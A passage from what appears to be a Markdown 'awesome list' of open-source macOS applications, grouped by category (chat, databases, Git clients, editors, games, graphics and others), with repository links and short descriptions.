- [GroupMe](https://github.com/dcrousso/GroupMe) - Unofficial GroupMe App. ![javascript_icon] ![css_icon]
- [MessagesHistoryBrowser](https://github.com/glaurent/MessagesHistoryBrowser) - macOS application to comfortably browse and search through your Messages.app history. ![swift_icon]
- [RocketChat](https://github.com/RocketChat/Rocket.Chat.Electron) - Free open source chat system for teams. An alternative to Slack that can also be self hosted. ![javascript_icon]
- [Seaglass](https://github.com/neilalexander/seaglass) - A truly native [Matrix](https://matrix.org/blog/home/) client for macOS. ![swift_icon]
- [Signal Desktop](https://github.com/signalapp/Signal-Desktop) - Electron app that links with your Signal Android or Signal iOS app. ![javascript_icon]
- [Telegram](https://github.com/overtake/TelegramSwift) - Source code of Telegram for macOS on Swift. ![swift_icon]
- [Telegram Desktop](https://github.com/telegramdesktop/tdesktop) - Telegram Desktop messaging app. ![cpp_icon]
- [Textual](https://github.com/Codeux-Software/Textual) - Textual is an IRC client for macOS. ![objective_c_icon]
- [Thunderbird](https://hg.mozilla.org/mozilla-central) - Backed by Mozilla, Thunderbird is an extensible email, newsfeed, chat, and calendaring client. ![cpp_icon] ![javascript_icon] ![rust_icon]
- [Torchat-Mac](https://github.com/javerous/TorChat-Mac) - TorChat for Mac is a macOS native and unofficial port of torchat. ![objective_c_icon]
- [WhatsAppBar](https://github.com/aldychris/WhatsAppBar) - Send WhatsApp message from menu bar. ![swift_icon]
- [Wire Desktop](https://github.com/wireapp/wire-desktop) - Standalone Electron app for the chatapp Wire. ![javascript_icon]
### Cryptocurrency
- [Balance Open](https://github.com/balance-io/balance-open) - App for all the world’s currencies. ![swift_icon]
- [CoinBar](https://github.com/adamwaite/CoinBar) - macOS menu bar application for tracking crypto coin prices. ![swift_icon]
- [Copay](https://github.com/bitpay/copay) - A secure bitcoin wallet platform for both desktop and mobile devices. ![typescript_icon]
- [Crypto Bar](https://github.com/geraldoramos/crypto-bar) - macOS menu bar application built with Electron. ![javascript_icon]
- [Float coin](https://github.com/kaunteya/FloatCoin) - Native menu bar app with floating window and support for many Exchanges. ![swift_icon]
### Database
- [Bdash](https://github.com/bdash-app/bdash) - Simple SQL Client for lightweight data analysis. ![javascript_icon]
- [Beekeeper Studio](https://github.com/beekeeper-studio/beekeeper-studio) - SQL editor and manager with support for SQLite, MySQL, MariaDB, Postgres, CockroachDB, SQL Server, and Amazon Redshift. ![javascript_icon]
- [DB Browser for SQLite](https://github.com/sqlitebrowser/sqlitebrowser) - SQLite database management GUI. ![cpp_icon]
- [DBeaver](https://github.com/dbeaver/dbeaver) - Universal database tool and SQL client. ![java_icon]
- [DbGate](https://github.com/dbgate/dbgate) - Database manager for MySQL, PostgreSQL, SQL Server, MongoDB, SQLite and others. Runs under Windows, Linux, Mac or as web application. ![javascript_icon] ![typescript_icon]
- [Medis](https://github.com/luin/medis) - 💻 Medis is a beautiful, easy-to-use Mac database management application for Redis. ![javascript_icon]
- [MongoHub](https://github.com/jeromelebel/MongoHub-Mac) - Add another lightweight Mac Native MongoDB client. ![objective_c_icon] ![c_icon]
- [Postbird](https://github.com/Paxa/postbird) - PostgreSQL GUI client for macOS. ![javascript_icon]
- [Postgres.app](https://github.com/PostgresApp/PostgresApp) - The easiest way to get started with PostgreSQL on the Mac. ![swift_icon]
- [Redis Desktop Manager](https://github.com/uglide/RedisDesktopManager) - Cross-platform open source database management tool for Redis ® ![cpp_icon]
- [Redis.app](https://github.com/jpadilla/redisapp) - The easiest way to get started with Redis on the Mac. ![swift_icon]
- [Robo 3T](https://github.com/Studio3T/robomongo) - Robo 3T (formerly Robomongo) is the free lightweight GUI for MongoDB enthusiasts. ![cpp_icon]
- [Sequel Ace](https://github.com/Sequel-Ace/Sequel-Ace) - Sequel Ace is a fast, easy-to-use Mac database management application for working with MySQL & MariaDB databases. ![objective_c_icon]
- [Sequel Pro](https://github.com/sequelpro/sequelpro) - MySQL/MariaDB database management for macOS. ![objective_c_icon]
- [mongoDB.app](https://github.com/gcollazo/mongodbapp) - The easiest way to get started with mongoDB on the Mac. ![swift_icon]
- [redis-pro](https://github.com/cmushroom/redis-pro) - Redis management with SwiftUI. ![swift_icon]
- [reventlou](https://github.com/b3z/reventlou) - Personal database as an information management system. ![typescript_icon] ![swift_icon]
- [sqlectron](https://github.com/sqlectron/sqlectron-gui) - A simple and lightweight SQL client desktop/terminal with cross database and platform support. ![typescript_icon]
### Development
- [Apache Netbeans](https://github.com/apache/netbeans) - Apache NetBeans is an IDE, Tooling Platform and Application Framework suitable for development in Java, JavaScript, PHP, HTML5, CSS, and more. ![java_icon]
- [Brackets](https://github.com/brackets-cont/brackets) - Modern open-source code editor for HTML, CSS and JavaScript that's built in HTML, CSS and JavaScript. ![javascript_icon]
- [ColorSet](https://github.com/DigiDNA/ColorSet) - ColorSet is a macOS utility and framework allowing developers to manage custom interface colors with ease. ![swift_icon] ![c_sharp_icon] ![objective_c_icon]
- [GitAhead](https://github.com/gitahead/gitahead/) - A graphical Git client designed to help you understand and manage your source code history. ![cpp_icon] ![c_icon]
- [KiCad](https://gitlab.com/kicad/code/kicad) - A software suite for electronic design automation. ![cpp_icon] ![c_icon]
- [Layout Designer for UICollectionView](https://github.com/amirdew/CollectionViewPagingLayout) - A simple but powerful tool that helps you make complex layouts for UICollectionView. ![swift_icon]
- [Pasteboard Viewer](https://github.com/sindresorhus/Pasteboard-Viewer) - Inspect the system pasteboards. ![swift_icon]
- [Stringz](https://github.com/mohakapt/Stringz) - A lightweight and powerful editor for localizing iOS, macOS, tvOS, and watchOS applications. ![swift_icon]
- [utmapp](https://github.com/utmapp/) - Virtualization for other operating systems. ![swift_icon] ![objective_c_icon]
#### Git
- [Cashew](https://github.com/dhennessy/OpenCashew) - Cashew macOS Github Issue Tracker. ![objective_c_icon] ![c_icon]
- [GPM](https://github.com/mtgto/GPM) - macOS application for easily operating GitHub Projects. ![swift_icon]
- [Git Interactive Rebase Tool](https://github.com/MitMaro/git-interactive-rebase-tool) - Full feature terminal based sequence editor for interactive rebase. ![rust_icon]
- [GitAhead](https://github.com/gitahead/gitahead/) - A graphical Git client designed to help you understand and manage your source code history. ![cpp_icon] ![c_icon]
- [GitBlamePR](https://github.com/maoyama/GitBlamePR) - Mac app that shows pull request last modified each line of a file ![swift_icon]
- [GitHub Desktop](https://github.com/desktop/desktop) - Simple collaboration from your desktop. ![typescript_icon]
- [GitSync](https://github.com/eonist/GitSync) - Minimalistic Git client for Mac. ![swift_icon]
- [GitUp](https://github.com/git-up/GitUp) - The Git interface you've been missing all your life has finally arrived. ![objective_c_icon]
- [GitX](https://github.com/gitx/gitx) - Graphical client for the git version control system. ![objective_c_icon]
- [Gitee](https://github.com/Nightonke/Gitee) - Gitee, macOS status bar application for Github. ![objective_c_icon] ![swift_icon]
- [Github contributions](https://github.com/remirobert/Github-contributions) - GitHub contributions app, for iOS, WatchOS, and macOS. ![swift_icon]
- [GithubListener](https://github.com/ad/GithubListener) - Simple app that will notify about new commits to watched repositories. ![swift_icon]
- [GithubNotify](https://github.com/erik/github-notify) - Simple macOS app to alert you when you have unread GitHub notifications. ![swift_icon]
- [Gitify](https://github.com/manosim/gitify) - Your GitHub notifications on your menu bar. ![javascript_icon]
- [Streaker](https://github.com/jamieweavis/streaker) - GitHub contribution streak tracking menubar app. ![javascript_icon]
- [TeamStatus-for-GitHub](https://github.com/marcinreliga/TeamStatus-for-GitHub) - macOS status bar application for tracking code review process within the team. ![swift_icon]
- [Trailer](https://github.com/ptsochantaris/trailer) - Managing Pull Requests and Issues For GitHub & GitHub Enterprise. ![swift_icon]
- [Xit](https://github.com/Uncommon/Xit) - Xit is a graphical tool for working with git repositories. ![swift_icon]
- [osagitfilter](https://github.com/doekman/osagitfilter) - Filter to put OSA languages (AppleScript, JavaScript) into git, as if they where plain text-files. ![shell_icon] ![applescript_icon]
#### JSON Parsing
- [JSON Mapper](https://github.com/AppCraft-LLC/json-mapper) - Simple macOS app to generate Swift Object Mapper classes from JSON. ![swift_icon]
- [JSON to Model class](https://github.com/chanonly123/Json-Model-Generator) - Template based highly customizable macOS app to generate classes from JSON string, supports many languages. ![swift_icon]
- [JSONExport](https://github.com/Ahmed-Ali/JSONExport) - Desktop application for macOS which enables you to export JSON objects as model classes with their associated constructors, utility methods, setters and getters in your favorite language. ![swift_icon]
- [j2s](https://github.com/zadr/j2s) - macOS app to convert JSON objects into Swift structs (currently targets Swift 4 and Codable). ![swift_icon]
#### Other Development
- [Boop](https://github.com/IvanMathy/Boop) - A scriptable scratchpad for developers. ![swift_icon] ![javascript_icon]
- [ChefInspector](https://github.com/Yasumoto/ChefInspector) - Node and Attribute viewer for Chef ![swift_icon]
- [MQTTX](https://github.com/emqx/MQTTX) - An elegant Cross-platform MQTT 5.0 desktop client. ![javascript_icon] ![typescript_icon]
- [macho-browser](https://github.com/dcsch/macho-browser) - Browser for macOS Mach-O binaries. ![objective_c_icon]
- [vegvisir](https://github.com/ant4g0nist/vegvisir) - Browser based GUI for **LLDB** Debugger. ![javascript_icon]
#### Web Development
- [CoreOS VM](https://github.com/TheNewNormal/coreos-osx) - CoreOS VM is macOS status bar app which allows in an easy way to control CoreOS VM on your Mac. ![objective_c_icon]
- [Corectl App for macOS](https://github.com/TheNewNormal/corectl.app) - Corectl App is a macOS Status bar App which works like a wrapper around the corectl command line tool corectld to control the server runtime process. ![swift_icon]
- [HTTP Toolkit](https://github.com/httptoolkit/httptoolkit-desktop) - HTTP Toolkit is a cross-platform tool to intercept, debug & mock HTTP. ![typescript_icon]
- [Insomnia](https://github.com/Kong/insomnia) - Insomnia is a cross-platform REST client, built on top of Electron. ![javascript_icon]
- [KubeMonitor](https://github.com/Daniel-Sanche/KubeMonitor) - KubeMonitor is a macOS app that displays information about your active Kubernetes cluster in your menu bar. ![swift_icon]
- [KubeSwitch](https://github.com/nsriram/KubeSwitch) - KubeSwitch lists the available kubernetes cluster contexts on the mac, in Mac's Menu bar. ![swift_icon]
- [Lantern](https://github.com/RoyalIcing/Lantern) - Dedicated Mac app for website auditing and crawling. ![swift_icon]
- [LocalSites](https://github.com/plan44/localSites) - Simple Menu Bar (Status Bar) App for macOS listing local Bonjour websites (as Safari 11 no longer has Bonjour Bookmarks). ![swift_icon]
- [SimpleLocalize CLI](https://github.com/simplelocalize/simplelocalize-cli) - Open source tool for managing i18n keys in software projects. ![swift_icon]
- [aws-s3-uploader](https://github.com/RafalWilinski/s3-uploader) - Simple macOS app for uploading files to Amazon Web Services. ![javascript_icon]
- [iTunesConnect](https://github.com/trulyronak/itunesconnect) - macOS app to let you access iTunesConnect. ![swift_icon]
- [ndm](https://github.com/720kb/ndm) - Npm desktop GUI. ![javascript_icon]
- [nodeScratchpad](https://github.com/vsaravind007/nodeScratchpad) - Evaluate Nodejs/JS code snippets from Menubar. ![swift_icon]
- [stts](https://github.com/inket/stts) - macOS app for monitoring the status of cloud services. ![swift_icon]
#### iOS / macOS
- [AVXCAssets Generator](https://github.com/angelvasa/AVXCAssets-Generator) - Takes path for your assets images and creates appiconset and imageset for you in just one click. ![swift_icon]
- [AppBox](https://github.com/getappbox/AppBox-iOSAppsWirelessInstallation) - Tool for iOS developers to build and deploy Development, Ad-Hoc and In-house (Enterprise) applications directly to the devices from your Dropbox account. ![objective_c_icon]
- [AppIcons](https://github.com/kuyawa/AppIcons) - Tool for generating icons in all sizes as required by macOS and iOS apps. ![swift_icon]
- [AppStoreReviewTimes](https://github.com/arbel03/AppStoreReviewTimes) - Gives you indication about the average iOS / macOS app stores review times. ![swift_icon]
- [AppleTrace](https://github.com/everettjf/AppleTrace) - Trace tool for iOS/macOS. ![objective_c_icon]
- [Asset Catalog Tinkerer](https://github.com/insidegui/AssetCatalogTinkerer) - App that lets you open .car files and browse/extract their images. ![objective_c_icon] ![swift_icon]
- [Assets](https://github.com/e7711bbear/Assets) - Assets is a macOS app that manages assets for your development projects (Xcode, web, etc). ![swift_icon]
- [Attabench](https://github.com/attaswift/Attabench) - Attabench is a microbenchmarking app for macOS, designed to measure and visualize the performance of Swift code. ![swift_icon]
- [Board For GitHub](https://github.com/JustinFincher/BoardForGitHub) - Small application to monitor your GitHub project web page in a native macOS app :octocat:! ![objective_c_icon]
- [Brisk](https://github.com/br1sk/brisk) - macOS app for submitting radars. ![swift_icon]
- [Cleaner for Xcode](https://github.com/waylybaye/XcodeCleaner) - Cleaner for Xcode.app built with react-native-macOS. ![objective_c_icon]
- [CocoaRestClient](https://github.com/mmattozzi/cocoa-rest-client) - Native Apple macOS app for testing HTTP/REST endpoints. ![objective_c_icon]
- [Corona Tracker](https://github.com/MhdHejazi/CoronaTracker) - Coronavirus tracker app for iOS & macOS with maps & charts. ![swift_icon]
- [FilterShop](https://github.com/KrisYu/FilterShop) - macOS App to explore CoreImage Filters. ![swift_icon]
- [IconGenerator](https://github.com/onmyway133/IconGenerator) - macOS app to generate app icons. ![javascript_icon]
- [Iconizer](https://github.com/raphaelhanneken/iconizer) - Create Xcode image catalogs (xcassets) on the fly. ![swift_icon]
- [Iconology](https://github.com/liamrosenfeld/Iconology) - Edit icons and then export to Xcode, icns, ico, favicon, macOS iconset, or a custom collection. ![swift_icon]
- [Icons.app](https://github.com/SAP/macos-icon-generator) - App for macOS which is designed to generate consistent sized icons of an existing application in various states, jiggling (shaking) etc. ![objective_c_icon]
- [InjectionIII](https://github.com/johnno1962/InjectionIII) - overdue Swift rewrite of Injection. ![objective_c_icon] ![swift_icon]
- [Knuff](https://github.com/KnuffApp/Knuff) - The debug application for Apple Push Notification Service (APNs). ![objective_c_icon]
- [LayerX](https://github.com/yuhua-chen/LayerX) - Intuitive app to display transparent images on screen. ![swift_icon]
- [Localizable.strings](https://github.com/cristibaluta/Localizable.strings) - Mac app to localize your iOS and macOS projects. ![swift_icon]
- [Localization Editor](https://github.com/igorkulman/iOSLocalizationEditor) - Simple macOS editor app to help you manage iOS app localizations by allowing you to edit all the translations side by side. ![swift_icon]
- [Localizations](https://github.com/e7711bbear/Localizations) - Localizations is an macOS app that manages your Xcode project localization files (.strings). ![swift_icon]
- [Menubar Colors](https://github.com/nvzqz/Menubar-Colors) - macOS app for convenient access to the system color panel. ![swift_icon]
- [Notarize](https://github.com/macmade/Notarize) - Notarization status monitoring tool for macOS, supporting multiple developer accounts ![swift_icon]
- [PodsUpdater](https://github.com/kizitonwose/PodsUpdater) - macOS app which helps you manage dependency releases in your Podfile. ![swift_icon]
- [ProfilesManager](https://github.com/shaojiankui/ProfilesManager) - Apple iOS/macOS Provisioning Profiles management,.provisionprofile, .mobileprovision files manager tool for mac. ![objective_c_icon]
- [PushNotifications](https://github.com/onmyway133/PushNotifications) - macOS app to test push notifications on iOS and Android. ![javascript_icon]
- [ResignTool](https://github.com/InjoyDeng/ResignTool) - This is an app for macOS that can (re)sign apps and bundle them into ipa files that are ready to be installed on an iOS device. ![objective_c_icon]
- [Resizr](https://github.com/onurgenes/Resizr) - MacOS application for creating AppIcon for iOS and Android apps. ![swift_icon]
- [SmartPush](https://github.com/shaojiankui/SmartPush) - iOS Push Notification Debug App. ![objective_c_icon]
- [Stringz](https://github.com/mohakapt/Stringz) - A lightweight and powerful editor for localizing iOS, macOS, tvOS, and watchOS applications. ![swift_icon]
- [TransporterPad](https://github.com/iseebi/TransporterPad) - iOS/Android app deployment tool for macOS. ![swift_icon]
- [WWDC](https://github.com/insidegui/WWDC) - Unofficial WWDC app for macOS. ![swift_icon]
- [WWDC.srt](https://github.com/ssamadgh/WWDCsrt) - Powerful app for downloading subtitle for each WWDC session video since 2013 in (srt) format. ![swift_icon]
- [Xcodes.app](https://github.com/RobotsAndPencils/XcodesApp) - The easiest way to install and switch between multiple versions of Xcode. ![swift_icon]
- [calabash-launcher](https://github.com/xing/calabash-launcher) - iOS Calabash Launcher is a macOS app that helps you run and manage Calabash tests on your Mac. ![swift_icon]
- [iOS Images Extractor](https://github.com/devcxm/iOS-Images-Extractor) - iOS Images Extractor is a Mac app to normalize, decode, and extract images from iOS apps. ![objective_c_icon]
- [iSimulator](https://github.com/wigl/iSimulator) - iSimulator is a GUI utility to control the Simulator and manage the app installed on the simulator. ![objective_c_icon]
- [xib2Storyboard](https://github.com/novemberfiveco/xib2Storyboard) - Tool to convert Xcode .xib to .storyboard files. ![objective_c_icon]
### Downloader
- [App Downloader](https://github.com/yep/app-downloader) - Easily search and download macOS apps from the huge `homebrew cask` app catalog. ![swift_icon]
- [Extream Download Manager](https://github.com/subhra74/xdm) - a powerful tool to increase download speeds up to 500% ![java_icon]
- [Get It](https://github.com/Kevin-De-Koninck/Get-It) - Native macOS video/audio downloader. Think of it as a youtube downloader that works on many sites. ![swift_icon]
- [Motrix](https://github.com/agalwood/Motrix) - A full-featured download manager. ![javascript_icon]
- [Pillager](https://github.com/Pjirlip/Pillager) - macOS Video Downloader written in Swift and Objective-C. ![objective_c_icon] ![swift_icon]
- [YouTube Downloader for macOS](https://github.com/DenBeke/YouTube-Downloader-for-macOS) - Simple menu bar app to download YouTube movies on your Mac. I wrote this as a test project to learn more about app development on macOS. ![swift_icon]
- [udemy-downloader-gui](https://github.com/FaisalUmair/udemy-downloader-gui) - desktop application for downloading Udemy Courses. ![javascript_icon]
### Editors
- [AuroraEditor](https://github.com/AuroraEditor/AuroraEditor) - Lightweight Code Editor (IDE) for macOS. ![swift_icon]
- [CodeEdit](https://github.com/CodeEditApp/CodeEdit) - CodeEdit App for macOS – Elevate your code editing experience. Open source, free forever. ![swift_icon]
#### CSV
- [TableTool](https://github.com/jakob/TableTool) - simple CSV editor for the macOS. ![objective_c_icon]
#### JSON
- [JSON Editor](https://github.com/fand/json-editor-app) - Dead simple JSON editor using josdejong/jsoneditor ![typescript_icon]
- [JSON-Splora](https://github.com/wellsjo/JSON-Splora) - GUI for editing, visualizing, and manipulating JSON data. ![javascript_icon]
#### Markdown
- [Gingko](https://github.com/gingko/client) - Tree-structured markdown editor for macOS, Windows, and Linux. ![elm_icon]
- [MacDown](https://github.com/MacDownApp/macdown) - Markdown editor for macOS. ![objective_c_icon]
- [Mark Text](https://github.com/marktext/marktext/) - Realtime preview markdown editor for macOS Windows and Linux. ![javascript_icon]
- [Notenik](https://github.com/hbowie/notenik-swift) - Note-taking app with many organizational options. ![swift_icon]
- [Obsidian plugins & themes](https://github.com/obsidianmd/obsidian-releases) - Community plugins list, theme list, and releases of Obsidian. ![javascript_icon]
- [Pine](https://github.com/lukakerr/Pine) - A modern MacOS markdown editor. ![swift_icon]
- [QOwnNotes](https://github.com/pbek/QOwnNotes) - Plain-text file notepad and todo-list manager with markdown support and ownCloud / Nextcloud integration. ![cpp_icon]
- [Zettlr](https://github.com/Zettlr/Zettlr) - A Markdown Editor for the 21st century. ![javascript_icon] ![typescript_icon]
- [linked](https://github.com/lostdesign/linked) - 🧾 Your daily journal app, diary or anything else to unclutter your mind. Let linked help you get focused by writing down what is in your mind on a daily basis. ![javascript_icon] ![vue_icon] ![css_icon]
#### TeX
- [Qilin Editor](https://github.com/qilin-editor/qilin-app) - Text editor for exact sciences with built-in KaTeX/AsciiMath support. ![javascript_icon]
#### Text
- [AuroraEditor](https://github.com/AuroraEditor/AuroraEditor) - Lightweight Code Editor (IDE) for macOS. ![swift_icon]
- [CotEditor](https://github.com/coteditor/CotEditor) - Lightweight Plain-Text Editor for macOS. ![swift_icon]
- [MacVim](https://github.com/macvim-dev/macvim) - Text editor for macOS. ![c_icon]
- [Noto](https://github.com/brunophilipe/noto) - Plain text editor for macOS with customizable themes. ![swift_icon]
- [SubEthaEdit](https://github.com/subethaedit/SubEthaEdit) - General purpose plain text editor for macOS. Widely known for its live collaboration feature. ![objective_c_icon]
- [TextMate](https://github.com/textmate/textmate) - TextMate is a graphical text editor for macOS. ![objective_c_icon]
- [Tincta](https://github.com/CodingFriends/Tincta) - One-window text editor with syntax highlighting. ![objective_c_icon]
- [VimR](https://github.com/qvacua/vimr) - Refined Neovim experience for macOS. ![swift_icon]
- [micro](https://github.com/zyedidia/micro) - A terminal-based text editor that aims to be easy to use and intuitive, while also taking advantage of the capabilities of modern terminals. ![go_icon]
- [reventlou](https://github.com/b3z/reventlou) - Personal database as an information management system. ![typescript_icon] ![swift_icon]
### Extensions
- [AdGuard for Safari](https://github.com/adguardteam/adguardforsafari) - The most advanced ad blocking extension for Safari ![javascript_icon]
- [BetterPiP](https://github.com/Capevace/BetterPiP) - Use native picture-in-picture with browsers such as Google Chrome for HTML5 videos. ![swift_icon]
- [Is It Private?](https://github.com/ffittschen/IsItPrivate) - A Safari Extension providing a toolbar icon that changes its visual appearance if Private Browsing is enabled. ![swift_icon]
- [Middleclick](https://github.com/artginzburg/MiddleClick-Ventura) - Emulate a scroll wheel click with three finger Click or Tap on MacBook trackpad and Magic Mouse ![c_icon]
- [PageExtender](https://github.com/fphilipe/PageExtender.app) - Extend pages with your own CSS and JS files. ![swift_icon] ![javascript_icon]
- [PiPTool](https://github.com/bfmatei/PiPTool) - Add the Picture-in-Picture Functionality to YouTube, Netflix, Plex and other video broadcasting services in macOS. ![javascript_icon]
- [PiPifier](https://github.com/arnoappenzeller/PiPifier) - PiPifier is a native macOS 10.12 Safari extension that lets you use every HTML5 video in Picture in Picture mode. ![swift_icon]
- [Privacy Redirect for Safari](https://github.com/smmr-software/privacy-redirect-safari) - Redirect Twitter, YouTube, Reddit, Google Maps, Google Search, and Google Translate to privacy friendly alternatives. ![swift_icon]
- [Sessions](https://github.com/AlexPerathoner/Sessions) - Safari extension to save your working sessions ![swift_icon]
- [Swimat](https://github.com/Jintin/Swimat) - Swimat is an Xcode plug-in to format your Swift code. ![swift_icon]
- [ThenGenerator](https://github.com/87kangsw/ThenGenerator) - Xcode Source Editor Extension for 'Then' ![swift_icon]
- [Ultra TabSaver](https://github.com/Swift-open-source/UltraTabSaver) - Ultra TabSaver is an open-source Tab Manager for Safari ![swift_icon]
- [nef](https://github.com/bow-swift/nef-plugin) - This Xcode extension enables you to make a code selection and export it to a snippets. Available on Mac AppStore. ![swift_icon]
### Finder
- [Clipy](https://github.com/Clipy/Clipy) - Clipy is a Clipboard extension app for macOS. ![swift_icon]
- [CopyQ](https://github.com/hluk/CopyQ) - Clipboard manager with advanced features ![cpp_icon]
- [Duplicate Finder](https://github.com/powerwolf543/DuplicateFinder) - It's a useful tool that would help you to find all duplicate files which have the same names in the specific folder. ![swift_icon]
- [FiScript](https://github.com/Mortennn/FiScript) - Execute custom scripts from the MacOS context menu (CTRL+click) in Finder. ![swift_icon]
- [Finder Go](https://github.com/onmyway133/FinderGo) - macOS app and Finder Sync Extension to open Terminal, iTerm, Hyper from Finder. ![swift_icon]
- [OpenInCode](https://github.com/sozercan/OpenInCode) - Finder toolbar app to open current folder in Visual Studio Code. ![objective_c_icon]
- [OpenInTerminal](https://github.com/Ji4n1ng/OpenInTerminal) - Finder Toolbar app for macOS to open the current directory in Terminal, iTerm, Hyper or Alacritty. ![swift_icon]
- [Quick Look plugins](https://github.com/sindresorhus/quick-look-plugins) - List of useful Quick Look plugins for developers. ![objective_c_icon] ![c_icon]
- [cd to... ](https://github.com/jbtule/cdto) - Finder Toolbar app to open the current directory in the Terminal ![objective_c_icon]
- [dupeGuru](https://github.com/arsenetar/dupeguru/) - dupeGuru is a tool to find duplicate files on your computer. It can scan using file names and file contents. ![objective_c_icon]
- [zoxide](https://github.com/ajeetdsouza/zoxide) - zoxide is a smarter cd command for your terminal. ![rust_icon]
### Games
- [0 A.D.](https://svn.wildfiregames.com/public/ps/trunk/) - Real-time strategy game of ancient warfare ![cpp_icon]
- [Battle for Wesnoth](https://github.com/wesnoth/wesnoth) - Turn-based tactical strategy game, featuring both single-player and online multiplayer combat. ![cpp_icon]
- [Boxer](https://github.com/alunbestor/Boxer) - The DOS game emulator that’s fit for your Mac. ![cpp_icon] ![objective_c_icon]
- [Chess](https://opensource.apple.com/source/Chess/Chess-410.4.1/) - The chess app that comes with macOS. ![objective-c_icon]
- [Dolphin](https://github.com/dolphin-emu/dolphin) - Powerful emulator for Nintendo GameCube and Wii games. ![cpp_icon]
- [Dynamic Dark Mode](https://github.com/ApolloZhu/Dynamic-Dark-Mode) - Dynamic Dark Mode is the app you are looking for to power up Dark Mode on macOS Mojave and beyond. ![swift_icon]
- [OpenEmu](https://github.com/OpenEmu/OpenEmu) - Retro video game emulation for macOS. ![objective_c_icon]
- [OpenRCT2](https://github.com/OpenRCT2/OpenRCT2) - Re-implementation of RollerCoaster Tycoon 2. ![cpp_icon]
- [Screentendo](https://github.com/AaronRandall/Screentendo) - Turn your screen into a playable level of Mario. ![objective_c_icon]
- [Stockfish](https://github.com/daylen/stockfish-mac) - Beautiful, powerful chess application. ![cpp_icon] ![objective_c_icon]
- [Widelands](https://github.com/widelands/widelands) - Widelands is a free, open source real-time strategy game with singleplayer campaigns and a multiplayer mode. The game was inspired by Settlers II™ (© Bluebyte) but has significantly more variety and depth to it. ![c++_icon] ![python_icon] ![lua_icon] ![javascript_icon]
### Graphics
- [Aseprite](https://github.com/aseprite/aseprite) - Animated sprite editor & pixel art tool (Windows, macOS, Linux). ![cpp_icon] ![c_icon]
- [Blender](https://projects.blender.org/) - Blender is the free and open source 3D creation suite. It supports the entirety of the 3D pipeline: modeling, rigging, animation, simulation, rendering, compositing, motion tracking, and video editing. ![c_icon] ![cpp_icon] ![python_icon]
- [CaptuocrToy](https://github.com/sfragrance/CaptuocrToy) - Tool to capture screenshot and recognize text by online ocr apis. ![swift_icon]
- [ColorSet](https://github.com/DigiDNA/ColorSet) - ColorSet is a macOS utility and framework allowing developers to manage custom interface colors with ease. ![swift_icon] ![c_sharp_icon] ![objective_c_icon]
- [FreeCAD](https://github.com/FreeCAD/FreeCAD) - FreeCAD is an open-source 3D parametric modeler ![c++_icon] ![python_icon]
- [Gaphor](https://github.com/gaphor/gaphor) - Gaphor is the simple modeling tool for UML and SysML. ![python_icon]
- [GifCapture](https://github.com/onmyway133/GifCapture) - Gif capture app for macOS. ![swift_icon]
- [Gifcurry](https://github.com/lettier/gifcurry) - Video to GIF maker with a graphical interface capable of cropping, adding text, seeking, and trimming. ![haskell_icon]
- [Gifski](https://github.com/sindresorhus/Gifski) - Convert videos to high-quality GIFs. ![swift_icon]
- [InfiniteCanvas](https://github.com/CleanCocoa/InfiniteCanvas) - Proof of concept Mac drawing application. ![swift_icon]
- [Krita](https://invent.kde.org/graphics/krita) - Krita is a cross-platform application for creating digital art files from scratch like illustrations, concept art, matte painting, textures, comics and animations. ![cpp_icon] ![python_icon] ![c_icon]
- [Material Colors Native](https://github.com/BafS/Material-Colors-native) - Choose your Material colours and copy the hex code. ![objective_c_icon]
- [Pencil2D Animation](https://github.com/pencil2d/pencil) - Pencil2D is an animation/drawing software for macOS, Windows, and Linux. It lets you create traditional hand-drawn animation (cartoon) using both bitmap and vector graphics. ![cpp_icon]
- [ScreenToLayers for macOS](https://github.com/duyquoc/ScreenToLayers) - ScreenToLayers is a macOS application to easily capture your screen as a layered PSD file. ![objective_c_icon] ![css_icon]
- [macSVG](https://github.com/dsward2/macSVG) - macOS application for designing HTML5 SVG (Scalable Vector Graphics) art and animation with a WebKit web view. ![objective_c_icon]
### IDE
- [Apache Netbeans](https://github.com/apache/netbeans) - Apache NetBeans is an IDE, Tooling Platform and Application Framework suitable for development in Java, JavaScript, PHP, HTML5, CSS, and more. ![java_icon]
- [Atom](https://github.com/atom/atom) - The hackable text editor. ![javascript_icon]
- [AuroraEditor](https://github.com/AuroraEditor/AuroraEditor) - Lightweight Code Editor (IDE) for macOS. ![swift_icon]
- [Brackets](https://github.com/brackets-cont/brackets) - Modern open-source code editor for HTML, CSS and JavaScript that's built in HTML, CSS and JavaScript. ![javascript_icon]
- [CodeEdit](https://github.com/CodeEditApp/CodeEdit) - CodeEdit App for macOS – Elevate your code editing experience. Open source, free forever. ![swift_icon]
- [IntelliJ IDEA Community Edition](https://github.com/JetBrains/intellij-community) - IntelliJ IDEA is an integrated development environment written in Java for developing computer software ![java_icon]
- [LiveCode](https://github.com/livecode/livecode) - Cross-platform development IDE. ![c_icon]
- [Oni](https://github.com/onivim/oni) - Oni is a modern take on modal editing code editor focused on developer productivity. ![javascript_icon] ![typescript_icon]
- [Vim](https://github.com/vim/vim) - ubiquitous text editor ![C_icon] ![Vim script_icon]
- [Visual Studio Code](https://github.com/Microsoft/vscode) - Code editor developed by Microsoft. ![typescript_icon]
- [ZeroBraneStudio](https://github.com/pkulchenko/ZeroBraneStudio) - ZeroBrane Studio is a lightweight cross-platform Lua IDE with code completion, syntax highlighting, remote debugger, code analyzer, live coding, and debugging support for various Lua engines. ![lua_icon]
### Images
- [APNGb](https://github.com/shgodoroja/APNGb) - macOS app which assembles and disassembles animated png files. ![swift_icon]
- [Crunch](https://github.com/chrissimpkins/Crunch) - Insane(ly slow but wicked good) PNG image optimization. ![python_icon]
- [ExifCleaner](https://github.com/szTheory/exifcleaner) - Remove image metadata with drag and drop, multi-core batch processing, and dark mode. ![javascript_icon]
- [Flameshot](https://github.com/flameshot-org/flameshot) - Powerful yet simple to use screenshot software. ![cpp_icon]
- [Freehand](https://github.com/wddwycc/Freehand) - macOS Status Bar App for quick sketch. ![swift_icon]
- [Gimp](https://github.com/GNOME/gimp) - Gimp is GNU Image Manipulation Program. ![c_icon]
- [Iconology](https://github.com/liamrosenfeld/Iconology) - Edit icons and then export to Xcode, icns, ico, favicon, macOS iconset, or a custom collection. ![swift_icon]
- [ImageAlpha](https://github.com/kornelski/ImageAlpha) - Mac GUI for pngquant, pngnq and posterizer. ![objective_c_icon] ![python_icon]
- [Imagine](https://github.com/meowtec/Imagine) - Imagine is a desktop app for compression of PNG and JPEG, with a modern and friendly UI. ![typescript_icon]
